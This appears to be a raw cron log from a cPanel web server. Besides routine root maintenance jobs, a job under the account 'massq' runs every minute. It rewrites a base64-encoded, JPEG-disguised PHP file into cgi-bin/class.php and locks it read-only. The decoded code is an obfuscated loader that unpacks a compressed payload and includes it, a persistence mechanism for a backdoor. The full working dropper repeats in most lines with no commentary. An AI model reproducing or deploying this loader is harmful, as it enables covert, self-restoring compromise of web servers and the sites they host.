Nov  9 13:27:01 server CROND[27580]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:28:01 server CROND[28422]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:29:01 server CROND[29255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:30:01 server CROND[30116]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 13:30:01 server CROND[30122]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 13:30:01 server CROND[30120]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 13:30:01 server CROND[30121]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:31:01 server CROND[31008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:32:01 server CROND[32098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:33:01 server CROND[396]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:34:01 server CROND[1226]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:35:01 server CROND[2070]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 13:35:01 server CROND[2073]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 13:35:01 server CROND[2074]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 13:35:01 server CROND[2075]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 13:35:01 server CROND[2083]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:36:01 server CROND[3183]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:37:01 server CROND[4101]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:38:01 server CROND[4935]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:39:01 server CROND[5780]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 13:39:01 server CROND[5781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:40:01 server CROND[6615]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 13:40:01 server CROND[6616]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 13:40:01 server CROND[6618]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
